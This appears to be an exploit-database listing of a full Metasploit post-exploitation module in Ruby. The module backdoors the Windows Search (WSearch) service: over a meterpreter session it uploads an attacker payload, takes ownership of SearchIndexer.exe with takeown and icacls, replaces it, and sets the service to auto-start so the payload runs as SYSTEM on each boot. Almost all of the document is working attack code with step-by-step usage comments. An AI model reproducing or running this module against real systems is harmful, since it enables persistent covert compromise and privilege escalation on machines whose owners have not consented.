WSearch service (windows) - persistence backdooring + privilege escalation Exploit



EKU-ID: 5961 CVE: OSVDB-ID:
Author: r00t-3xp10it Published: 2016-10-28 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


##
# [ persist_priv_Wsearch.rb ]
# $Id$ 1.7 Author: pedr0 Ubuntu aka: [r00t-3xp10it]
# Hosted By: peterubuntu10[at]sourceforge[dot]net
# http://sourceforge.net/projects/msf-auxiliarys/
# https://sourceforge.net/p/msf-auxiliarys/repository/ci/master/tree/persist_priv_Wsearch.rb
#
#
# ---
# [ POST-EXPLOITATION MODULE DESCRIPTION ]
# This post-exploitation module requires a meterpreter session to be able to upload/inject our payload.exe
# into WSearch (windows search) service. The WSearch service uses one executable.exe set in binary_path_name
# and runs it has local/system at startup, this enables local privilege_escalation/persistence_backdooring.
# To exploit this vulnerability a local attacker needs to inject/replace the executable file into the binary_path_name
# of the service. 'Rebooting the system or restarting the service will run the malicious executable with elevated privileges.
#
#
# [ HOW TO EXPLOIT THE VULNERABILITY ]
# 1º - exploit target system with one meterpreter payload (open session)
# 2º - build new payload called: SearchIndexer.exe (2º payload to send to target)
# 3º - start conrrespondent handler to wait for the 2º payload connection.
# 4º - use post/windows/escalate/persist_priv_Wsearch (set options required)
# 5º - set UPLOAD_PATH /root/SearchIndexer.exe (2º payload to send to target)
# 6º - exploit
#
#
# [ MODULE OPTIONS ]
# HINT: to unset all values use: msf post(persist_priv_Wsearch) > unset all
# Input The session number to run this module on => set SESSION 3
# Input full path of SearchIndexer.exe to upload => set UPLOAD_PATH /root/shell/output/SearchIndexer.exe
# Check WSearch service auto-start status?       => set SERVICE_STATUS true
# revert WSearch service executable to default?  => set DELETE_PERSISTENCE true
# ---
#
#
# [ PORT MODULE TO METASPLOIT DATABASE ]
# Kali linux   COPY TO: /usr/share/metasploit-framework/modules/post/windows/escalate/persist_priv_Wsearch.rb
# Ubuntu linux COPY TO: /opt/metasploit/apps/pro/msf3/modules/post/windows/escalate/persist_priv_Wsearch.rb
# Manually Path Search: root@kali:~# locate modules/post/windows/escalate
#
#
# [ LOAD/USE AUXILIARY ]
# meterpreter > background
# msf exploit(handler) > reload_all
# msf exploit(handler) > use post/windows/escalate/persist_priv_Wsearch
# msf post(persist_priv_Wsearch) > info
# msf post(persist_priv_Wsearch) > show options
# msf post(persist_priv_Wsearch) > show advanced options
# msf post(persist_priv_Wsearch) > set [option(s)]
# msf post(persist_priv_Wsearch) > exploit
##



# ----------------------------
# Module Dependencies/requires
# ----------------------------
require 'rex'
require 'msf/core'
require 'msf/core/post/common'
require 'msf/core/post/windows/priv'



# ----------------------------------
# Metasploit Class name and includes
# ----------------------------------
class MetasploitModule < Msf::Post
      Rank = ExcellentRanking

         include Msf::Post::Common
         include Msf::Post::Windows::Priv



# -----------------------------------------
# Building Metasploit/Armitage info GUI/CLI
# -----------------------------------------
        def initialize(info={})
                super(update_info(info,
                        'Name'          => 'persistence/privilege_escalation in WSearch',
                        'Description'   => %q{
                                        This post-exploitation module requires a meterpreter session to be able to upload/inject our SearchIndexer.exe into WSearch (windows search) service. The WSearch service uses one executable.exe set in binary_path_name and runs it has local/system at startup, this enables local privilege_escalation/persistence_backdooring. To exploit this vulnerability a local attacker needs to inject/replace the executable file into the binary_path_name of the service. Rebooting the system or restarting the service will run the malicious executable with elevated privileges."WARNING: payload to send must be named as: SearchIndexer.exe"
                        },
                        'License'       => UNKNOWN_LICENSE,
                        'Author'        =>
                                [
                                        'peterubuntu10[at]sourceforge[dot]net', # post-module author/vuln discover
                                        'Special thanks: milton_barra|Chaitanya Haritash', # testing/debug module
                                ],

                        'Version'        => '$Revision: 1.7',
                        'DisclosureDate' => 'out 27 2016',
                        'Platform'       => 'windows',
                        'Arch'           => 'x86_x64',
                        'Privileged'     => 'false',
                        'Targets'        =>
                                [
                                         # Tested againts windows 7 (32 bits) | XP SP1 (32 bits)
                                         [ 'Windows XP', 'Windows VISTA', 'Windows 7', 'Windows 8', 'Windows 9', 'Windows 10' ]
                                ],
                        'DefaultTarget'  => '3', # default its to run againts windows 7 (32 bits)
                        'References'     =>
                                [
                                         [ 'URL', 'http://goo.gl/OvgbW' ],
                                         [ 'URL', 'http://sourceforge.net/users/peterubuntu10' ],
                                         [ 'URL', 'http://sourceforge.net/projects/msf-auxiliarys/repository' ],
                                         [ 'URL', 'http://computerstepbystep.com/windows_search_service.html' ],
                                         [ 'URL', 'http://www.winhelponline.com/blog/take-ownership-of-file-or-folder/' ],
                                         [ 'URL', 'https://technet.microsoft.com/en-us/library/cc753525%28v=ws.11%29.aspx' ]



                                ],
'DefaultOptions' =>
{
'SESSION' => '1', # Default its to run againts session 1
},
                        'SessionTypes'   => [ 'meterpreter' ]

                ))

                register_options(
                        [
                                OptString.new('SESSION', [ true, 'The session number to run this module on']),
                                OptString.new('UPLOAD_PATH', [ false, 'The full path of your SearchIndexer.exe to be uploaded']),
                                OptBool.new('SERVICE_STATUS', [ false, 'Check remote WSearch service settings?' , false])
                        ], self.class)

                register_advanced_options(
                        [
                                OptBool.new('DELETE_PERSISTENCE', [ false, 'revert WSearch service executable to default?' , false])
                        ], self.class)

        end




# ----------------------------------------------
# Check for proper target Platform (win32|win64)
# ----------------------------------------------
def unsupported
   session = client
     sys = session.sys.config.sysinfo
       print_warning("[ABORT]: Operative System => #{sys['OS']}")
       print_error("Only windows systems are supported by this module...")
       print_error("Please execute [info] for further information...")
       print_line("")
   raise Rex::Script::Completed
end




# ----------------------------------------------------------
# INJECT/UPLOAD OUR EXECUTABLE INTO WSearch BINARY_PATH_NAME
# ----------------------------------------------------------
def ls_stage1

  r=''
  session = client
  upath = datastore['UPLOAD_PATH']
  bin_path = "%systemroot%\\system32\\SearchIndexer.exe"
  # check for proper config settings enter
  # to prevent 'unset all' from deleting default options...
  if datastore['UPLOAD_PATH'] == 'nil'
    print_error("Options not configurated correctly...")
    print_warning("Please set UPLOAD_PATH option...")
    return nil
  else
    # elevate privs befor running module
    print_status("Persisting your payload in target system.")
    client.sys.config.getprivs.each do |priv|
    end
  end


    # check target system language to define key variable to use in (icacls) syntax...
    check_lang = registry_getvaldata("HKLM\\System\\CurrentControlSet\\Control\\Nls\\Language","InstallLanguage")
    if check_lang == "0816" || check_lang == "0416"
      print_warning("Target System language detected:Portuguese...")
      key = "Administrador"
      elsif check_lang == "0409" || check_lang == "0009" || check_lang == "0809" || check_lang == "0C09" || check_lang == "1009" || check_lang == "0421" || check_lang == "0415"
        print_warning("Target System language detected:English...")
        key = "Administrator"
      elsif check_lang == "0410"
        print_warning("Target System language detected:Italian...")
        key = "Amministratore"
      elsif check_lang == "040C" || check_lang == "0413"
        print_warning("Target System language detected:French...")
        key = "Administrateur"
      elsif check_lang == "0407"
        print_warning("Target System language detected:German...")
        key = "Verwalter"
    else
      print_error("post-module cant define target system language...")
      print_warning("defaulting key to english language [Administrator]")
      key = "Administrator"
    end


    # list of arrays to execute
    arrays = [
       'ren %systemroot%\\system32\\SearchIndexer.exe  SearchIndexer.bk',
       'move /y %temp%\\SearchIndexer.exe %systemroot%\\system32\\SearchIndexer.exe',
       'sc start WSearch'
      ]

      print_good("Stoping WSearch remote service...")
      # stop service to enable proper configuration
      r = session.sys.process.execute("cmd.exe /c sc stop WSearch", nil, {'Hidden' => true, 'Channelized' => true})
      sleep(2.0)
        print_good("Setting service to auto-start with windows...")
        # set service to auto-start with windows
        r = session.sys.process.execute("cmd.exe /c sc config WSearch start= auto", nil, {'Hidden' => true, 'Channelized' => true})
        sleep(2.0)

          # upload our executable into 'temp' folder...
          print_good("Uploading payload to target temp folder...")
          client.fs.file.upload("%temp%\\SearchIndexer.exe","#{upath}")

          # takeown of SearchIndexer.exe
          print_good("Takeowner of SearchIndexer to replace it by our executable.")
          print_good(" Execute => takeown /f #{bin_path}")
          r = session.sys.process.execute("cmd.exe /c takeown /f #{bin_path}", nil, {'Hidden' => true, 'Channelized' => true})
          sleep(2.0)

          # grant admin permitions (icacls)
          print_good(" Execute => icacls #{bin_path} /grant #{key}:(F)")
          r = session.sys.process.execute("cmd.exe /c icacls #{bin_path} /grant #{key}:(F)", nil, {'Hidden' => true, 'Channelized' => true})
          sleep(2.0)

            # loop funtion to manipulate file permitions in target system.
            session.response_timeout=120
            arrays.each do |cmd|
              begin
                # execute cmd prompt in a hidden channelized windows
                r = session.sys.process.execute("cmd.exe /c #{cmd}", nil, {'Hidden' => true, 'Channelized' => true})
                print_good(" Execute => #{cmd}")

                  # close client channel when done
                  while(d = r.channel.read)
                          break if d == ""
                  end
              end
            end

        # task completed successefully...
        print_good("Restarting WSearch service...")
        sleep(2.0)
        print_warning("WSearch service [binary_path_name] backdoored successefuly...")
        print_status("Setup one handler and Wait everytime that system restarts OR")
        print_status("Setup one handler and restart Wsearch service: sc start WSearch")
        print_line("")

    # close channel when done
    r.channel.close
    r.close

  # error exception funtion
  rescue ::Exception => e
  print_error("Error: #{e.class} #{e}")
end




# ---------------------------------------------------------
# DELETE/REVERT WSEARCH SERVICE EXECUTABLE TO DEFAULT STAGE
# ---------------------------------------------------------
def ls_stage2

  r=''
  session = client
  backup = "%systemroot%\\system32\\SearchIndexer.bk"
  # check for proper config settings enter
  # to prevent 'unset all' from deleting default options...
  if datastore['DELETE_PERSISTENCE'] == 'nil'
    print_error("Options not configurated correctly...")
    print_warning("Please set DELETE_PERSISTENCE option...")
    return nil
  else
    # elevate privs befor running module
    print_status("Revert WSearch service executable to default stage")
    client.sys.config.getprivs.each do |priv|
    end
  end


    # list of arrays to execute
    arrays = [
       'takeown /f %systemroot%\\system32\\SearchIndexer.exe',
       'ren %systemroot%\\system32\\SearchIndexer.bk SearchIndexer.exe',
       'sc config WSearch start= demand',
       'sc start WSearch'
    ]

    # check if backup file exist on target
    if client.fs.file.exist?("#{backup}")
      print_warning("Backup SearchIndexer.bk file:found...")
      print_good("Stoping WSearch remote service...")
      # stop service to enable proper configuration
      r = session.sys.process.execute("cmd.exe /c sc stop WSearch", nil, {'Hidden' => true, 'Channelized' => true})
      sleep(2.0)

          # loop funtion to manipulate file permitions in target system.
          print_good("Takeowner of SearchIndexer service executable...")
          session.response_timeout=120
          arrays.each do |cmd|
            begin
              # execute cmd prompt in a hidden channelized windows
              r = session.sys.process.execute("cmd.exe /c #{cmd}", nil, {'Hidden' => true, 'Channelized' => true})
              print_good(" Execute => #{cmd}")

                # close client channel when done
                while(d = r.channel.read)
                        break if d == ""
                end
            end
          end


        print_good("Restarting WSearch service...")
        sleep(2.0)
        print_warning("WSearch service executable reverted to default stage...")
        print_status("we have lost our backdoor :( but feeded the white hacker within :D")
        print_line("")

      # close channel when done
      r.channel.close
      r.close

    else
      print_error("Backupfile: SearchIndexer.bk => NOT FOUND...")
      print_warning("post-module did not have reverted the service default executable.")
      print_line("")
    end


  # error exception funtion
  rescue ::Exception => e
  print_error("Error: #{e.class} #{e}")
end




# ------------------------------------
# CHECK/DISPLAY WSEARCH SERVICE STATUS
# ------------------------------------
def ls_stage3

  r=''
  serv="WSearch"
  session = client
  sysnfo = session.sys.config.sysinfo
  # check for proper config settings enter
  # to prevent 'unset all' from deleting default options...
  if datastore['SERVICE_STATUS'] == 'nil'
    print_error("Options not configurated correctly...")
    print_warning("Please set SERVICE_STATUS option...")
    return nil
  else
    print_status("Checking WSearch service settings...")
    sleep(2.0)
  end


    print_warning("Reading service hive registry keys...")
    # search in target regedit for WSearch auto-start service status
    # Value:Start - dword: 2 - auto | 3 - manual | 4 - disabled
    if registry_getvaldata("HKLM\\System\\CurrentControlSet\\services\\WSearch", "Start") == 2
      startup = "auto_start"
    end
    if registry_getvaldata("HKLM\\System\\CurrentControlSet\\services\\WSearch", "Start") == 3
      startup = "manual_start"
    end
    if registry_getvaldata("HKLM\\System\\CurrentControlSet\\services\\WSearch", "Start") == 4
      startup = "disabled_start"
    else
        startup = "unknow"
        print_error("post-module cant define service auto_start status...")
        print_warning("enter into a shell session and execute: sc qc WSearch status")
    end


      sleep(1.0)
      # display WSearch service current settings.
      print_line("")
      print_line("    :host    => #{sysnfo['Computer']}")
      print_line("    :service => #{serv}")
      print_line("    :status  => running")
      print_line("    :startup => #{startup}")
      print_line("")

  # error exception funtion
  rescue ::Exception => e
  print_error("Error: #{e.class} #{e}")
end




# ------------------------------------------------
# MAIN DISPLAY WINDOWS (ALL MODULES - def run)
# Running sellected modules against session target
# ------------------------------------------------
def run
  session = client
    # Check for proper target Platform
    unsupported if client.platform !~ /win32|win64/i

      # Variable declarations (msf API calls)
      sysnfo = session.sys.config.sysinfo
      runtor = client.sys.config.getuid
      runsession = client.session_host
      directory = client.fs.dir.pwd


    # Print banner and scan results on screen
    print_line("    +---------------------------------------------+")
    print_line("    | PERSISTENCE + PRIV_ESCAL IN WSEARCH SERVICE |")
    print_line("    |    Author: Pedro Ubuntu [ r00t-3xp10it ]    |")
    print_line("    +---------------------------------------------+")
    print_line("")
    print_line("    Running on session  : #{datastore['SESSION']}")
    print_line("    Computer            : #{sysnfo['Computer']}")
    print_line("    Operative System    : #{sysnfo['OS']}")
    print_line("    Target IP addr      : #{runsession}")
    print_line("    Payload directory   : #{directory}")
    print_line("    Client UID          : #{runtor}")
    print_line("")
    print_line("")



# ------------------------------------
# Selected settings to run
# ------------------------------------
      if datastore['UPLOAD_PATH']
         ls_stage1
      end

      if datastore['DELETE_PERSISTENCE']
         ls_stage2
      end

      if datastore['SERVICE_STATUS']
         ls_stage3
      end
   end
end